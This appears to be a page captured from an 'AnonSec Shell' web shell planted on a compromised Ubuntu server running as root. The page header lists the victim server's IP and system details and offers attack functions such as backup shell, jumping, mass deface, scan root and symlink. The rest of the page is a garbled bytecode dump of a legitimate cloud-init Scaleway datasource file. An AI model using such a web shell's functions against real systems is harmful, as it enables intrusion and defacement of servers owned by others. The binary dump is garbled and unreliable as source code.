AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceScaleway.cpython-310.pyc
o

x[h�:�@s.ddlZddlZddlZddlZddlZddlmZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZmZmZmZddlmZmZddlmZdd	lmZmZdd
lmZddlmZe� e!�Z"dd
gZ#dZ$dZ%dZ&Gdd�dej'j(�Z)dd�Z*dd�Z+Gdd�dej,�Z-e-ej.ffgZ/dd�Z0dS)�N)�urlparse)�ConnectionError)�HTTPConnection)�PoolManager)�dmi�performance�sources�
url_helper�util)�
EventScope�	EventType)�NoDHCPLeaseError)�EphemeralDHCPv4�EphemeralIPv6Network)�DataSourceHostname)�ProcessExecutionErrorzhttp://169.254.42.42zhttp://[fd00:42::42]���
cs*eZdZdZ�fdd�Zddd�Z�ZS)�SourceAddressAdapterzF
    Adapter for requests to choose the local address to bind to.
    cs ||_tt|�jdi|��dS)N�)�source_address�superr�__init__)�selfr�kwargs��	__class__r�F/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceScaleway.pyr+szSourceAddressAdapter.__init__FcCs0tjtjtjdfg}t||||j|d�|_dS)N�)�	num_pools�maxsize�blockr�socket_options)r�default_socket_options�socket�
SOL_SOCKET�SO_REUSEPORTrr�poolmanager)r�connectionsr!r"r#rrr�init_poolmanager/s��z%SourceAddressAdapter.init_poolmanager)F)�__name__�
__module__�__qualname__�__doc__rr*�
__classcell__rrrrr&src
Cs^ztj|d|d|dd�d�}t�|j�WStjy.}z
|jdkr)WYd}~dS�d}~ww)aQ
    Retrieve user data or vendor data.

    Scaleway user/vendor data API returns HTTP/404 if user/vendor data is not
    set.

    This function calls `url_helper.readurl` but instead of considering
    HTTP/404 as an error that requires a retry, it considers it as empty
    user/vendor data.

    Also, be aware the user data/vendor API requires the source port to be
    below 1024 to ensure the client is root (since non-root users can't bind
    ports below 1024). If requests raises ConnectionError (EADDRINUSE), the
    caller should retry to call this function on an other port.
    NrcSs|jdko
t|jtjj�S)N�)�code�
isinstance�cause�requests�
exceptionsr)�excrrr�<lambda>Ws
z%query_data_api_once.<locals>.<lambda>)�data�timeout�retries�session�exception_cbr0)r	�readurlr
�
decode_binary�contents�UrlErrorr1)�api_addressr9�requests_session�respr6rrr�query_data_api_once<s �
��rDc
Cstdt|d��D]�}z]t�d||�t��}d}z)t|�j}|}|ddkr,|dd�}tj	|dtj
d	�dd}	|	tjkr@d
}Wn	tyJYnw|�
dt||fd��t|||d
�}
t�d|�|
WStjy�}zt�d||�t�d�|}WYd}~qd}~ww|�)a/Get user or vendor data.

    Handle the retrying logic in case the source port is used.

    Scaleway metadata service requires the source port of the client to
    be a privileged port (<1024).  This is done to ensure that only a
    privileged user on the system can access the metadata service.
    rrz*Trying to get %s data (bind on port %d)...z0.0.0.0r�[���N)�protoz0::zhttp://)r)r9rBz%s-data downloadedz%Error while trying to get %s data: %s�)�range�max�LOG�debugr4�Sessionr�netlocr%�getaddrinfo�IPPROTO_TCP�AF_INET6�
ValueError�mountrrDr	r@�warning�time�sleep)
�api_typerAr:r9�portrB�	localhost�url_address�address�
addr_protor8r6�last_excrrr�query_data_apidsT�
���
����

��r^cs�eZdZdZejejejej	hiZ
�fdd�Zdeddf�fdd�Z
d	d
�Zdd�Zed
d��Zdd�Zedd��Zedd��Zdd�Zdd�Zd dd�Zedd��Zedd��Z�ZS)!�DataSourceScaleway�Scalewaycs�tt|��|||�t�t�|ddgi�g�|_t|j�dt	��|_
t|j�dt��|_t|j�dt
��|_tj|_t|_d|_d|_d|_d|_d|_d|j��vr_|j|jd7_dSdS)N�
datasourcer`r:r9�max_waitT�
metadata_urls)rr_rr
�
mergemanydict�get_cfg_by_path�ds_cfg�int�get�DEF_MD_RETRIESr:�DEF_MD_TIMEOUTr9�DEF_MD_MAX_WAITrbr�UNSET�_network_config�DS_BASE_URLSrc�metadata_url�userdata_url�vendordata_url�ephemeral_fixed_address�has_ipv4�keys)r�sys_cfg�distro�pathsrrrr�s$���zDataSourceScaleway.__init__�ci_pkl_version�returnNcsFt��|�ddttddd�}|D]}t||�s t||||�qdS)NT)rrrsrbrcrprq)r�	_unpicklerkrn�hasattr�setattr)rrx�
attr_defaults�attrrrrrz�s�
��zDataSourceScaleway._unpicklecCsxt��}tj||j|jdd�\}}|r-t�d|�|�d�|_|�d�|_	|�d�|_
dSt�d|tt��|��t�)	zO
        Define metadata_url based upon api-metadata URL availability.
        F)�urlsrbr9�connect_synchronouslyz%s is reachablez/conf?format=jsonz/user_data/cloud-initz/vendor_data/cloud-initNz3Unable to reach api-metadata at %s after %s seconds)
rU�	monotonicr	�wait_for_urlrbr9rKrLrorprqrgr)rr�
start_time�	avail_url�_rrr�_set_metadata_url�s&
��z$DataSourceScaleway._set_metadata_urlcCsZtj|j|j|jd�}t�t�|j	��|_
td|j|j|j�|_
td|j|j|j�|_dS)N)r9r:z	user-datazvendor-data)r	r=ror9r:�json�loadsr
r>r?�metadatar^rp�userdata_rawrq�vendordata_raw)rrCrrr�_crawl_metadata�s��
�z"DataSourceScaleway._crawl_metadatacCs>t�d�}|dkrdStj�d�rdSt��}d|vrdSdS)a 
        There are three ways to detect if you are on Scaleway:

        * check DMI data: not yet implemented by Scaleway, but the check is
          made to be future-proof.
        * the initrd created the file /var/run/scaleway.
        * "scaleway" is in the kernel cmdline.
        zsystem-manufacturerr`Tz/var/run/scaleway�scalewayN)r�
read_dmi_data�os�path�existsr
�get_cmdline)�vendor_name�cmdlinerrr�	ds_detect�s

�zDataSourceScaleway.ds_detectc
Csp|jrgzCt|j|jj��1}t�d��|�|j�Wd�n1s#wY|��|d|_	d|j
d<Wd�n1s@wYWn ttt
fyf}zt�tt|��d|_WYd}~nd}~ww|js�zAt|j|jj��.t�d��|�|j�Wd�n1s�wY|��d|j
d<Wd�WdS1s�wYWdSty�YdSwdS)	Nz7Setting api-metadata URL depending on IPv4 availabilityz
fixed-address�ipv4�
net_in_useFz7Setting api-metadata URL depending on IPv6 availability�ipv6T)rsrrv�fallback_interfacer�Timedr�rcr�rrr�r
rrr
�logexcrK�strr)rr��errr�	_get_datas^���
���������
�
��zDataSourceScaleway._get_datac	Cs�|jdurt�dtj�tj|_|jtjkr|jS|jddur�i}i}|jdD]r}|d|jkrRd|d<ddd	d
�}d|��vrL|d|g7<q)|g|d<q)d|��vrk|d|d�d
|d��f7<n|d�d
|d��f|d<|ddkr�|ddd�}d|��vr�|d|g7<q)|g|d<q)|||jj	<d|d�|_nBdd|jj	d�}ddig}|jdr�|dd|jddd|jddddd|jddd�gd�g7}||d <d!|gd"�|_t�
d#|j�|jS)$z`
        Configure networking according to data received from the
        metadata API.
        Nz5Found None as cached _network_config. Resetting to %s�
private_ip�
public_ipsr[T�dhcp4z169.254.42.42/32z
62.210.0.1)zon-link�to�via�routes�	addresses�/�netmask�family�inet6�gatewayz::/0)r�r�r)�version�	ethernets�physicalz%s)�type�namer�r��staticz::�0)�network�prefixr�)r�r[r�r��subnetsr)r��configznetwork_config : %s)rmrKrTrrlr�rrrtrvr�rL)r�netcfg�ip_cfg�ip�router�rrr�network_config4sr
��
��
�
�

�����z!DataSourceScaleway.network_configcC�dS�Nr�rrrr�launch_index��zDataSourceScaleway.launch_indexcCs
|jdS)N�id)r�r�rrr�get_instance_id�s
z"DataSourceScaleway.get_instance_idcCs^dd�|jdD�}d}t|�}|j�dg�D]}|�|�sq|�||d��dd��q|S)NcSsg|]}|d�qS)�keyr)�.0r�rrr�
<listcomp>�sz:DataSourceScaleway.get_public_ssh_keys.<locals>.<listcomp>�ssh_public_keyszAUTHORIZED_KEY=�tagsr�� )r��lenrh�
startswith�append�replace)r�ssh_keys�akeypre�plen�tagrrr�get_public_ssh_keys�s
z&DataSourceScaleway.get_public_ssh_keysFcCst|jdd�S)N�hostnameF)rr�)r�fqdn�
resolve_ip�
metadata_onlyrrr�get_hostname�szDataSourceScaleway.get_hostnamecCr�r�rr�rrr�availability_zone�r�z$DataSourceScaleway.availability_zonecCr�r�rr�rrr�region�r�zDataSourceScaleway.region)FFF)r+r,r-�dsnamer�NETWORKr�BOOT_NEW_INSTANCE�BOOT�BOOT_LEGACY�default_update_eventsrrgrzr�r��staticmethodr�r��propertyr�r�r�r�r�r�r�r/rrrrr_�s4��
2
O


r_cCst�|t�Sr�)r�list_from_depends�datasources)�dependsrrr�get_datasource_list�sr�)1r��loggingr�r%rU�urllib.parserr4�requests.exceptionsr�urllib3.connectionr�urllib3.poolmanagerr�	cloudinitrrrr	r
�cloudinit.eventrr�cloudinit.net.dhcpr
�cloudinit.net.ephemeralrr�cloudinit.sourcesr�cloudinit.subpr�	getLoggerr+rKrnrirkrj�adapters�HTTPAdapterrrDr^�
DataSourcer_�DEP_FILESYSTEMr�r�rrrr�<module>s<
(4
�

Anon7 - 2022
AnonSec Team